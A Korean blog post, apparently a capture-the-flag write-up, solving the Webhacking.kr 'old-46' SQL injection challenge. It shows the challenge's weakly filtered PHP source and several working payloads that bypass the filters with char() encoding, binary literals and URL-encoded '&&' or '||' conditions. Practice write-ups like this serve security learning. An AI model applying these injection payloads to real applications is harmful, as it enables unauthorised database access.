Web Hacking/Webhacking.kr

[Webhacking.kr] old-46

ruming 2021. 9. 12. 20:40

sql injection 문제

 

소스코드

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    $_GET['lv'] = addslashes($_GET['lv']);
    $_GET['lv'] = str_replace(" ","",$_GET['lv']);
    $_GET['lv'] = str_replace("/","",$_GET['lv']);
    $_GET['lv'] = str_replace("*","",$_GET['lv']);
    $_GET['lv'] = str_replace("%","",$_GET['lv']);
    if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
    if($result){
      echo("{$result['id']} information<br><br>money : {$result['cash']}");
      if($result['id'] == "admin") solve(46);
    }
  }
?>
</body>
</html>

1. addslashes 사용 (쿼터 앞에 백슬래시)

2. str_replace 함수로 공백, \, *, %를 필터링

3. select, 0x, limit, cash를 필터링

 

쿼리

select id, cash from chall46 where lv=$_GET[lv]

 

id를 admin으로 만들면 풀린다.

 

level을 입력했을 때 정보가 나온다.

1

ltusy

2

udnrg

3

fvvcg

4

bzrbo

 

5 이상부터는 아무것도 나오지 않는다. 

 

다음과 같은 방식으로 공격해보았다. 

1&&id=admin

통하지 않았다.

 

char함수를 통해 우회하니 해결할 수 있었다.

1&&id=char(97,100,109,105,110)

 

url로도 똑같이 공격했을 때 통하지 않아서 왜 그런가 알아보니 &&를 url encoding하지 않고 보내서 그런거엿다.

다음과 같이 공격하면 해결할 수 있다.

lv=1%26%26id=char(97,100,109,105,110)

 

그 외에 이진코드로 우회하는 방법도 있다. 2진수 앞에 0b를 붙여줘야한다.

1&&id=0b0110000101100100011011010110100101101110

 

||을 쓸 때는 lv=0으로 해야한다. lv=1로 해서 공격에 실패했었다.

0||id=char(97,100,109,105,110)
0||id=0b0110000101100100011011010110100101101110

 

'Web Hacking > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-17  (0) 2021.09.20
[Webhacking.kr] old-05  (0) 2021.09.12
[Webhacking.kr] challenge{old-26}  (0) 2021.07.22
[Webhacking.kr] Challenge{old-02}  (0) 2021.07.22
[Webhacking.kr] Challenge{old-01}  (0) 2021.07.22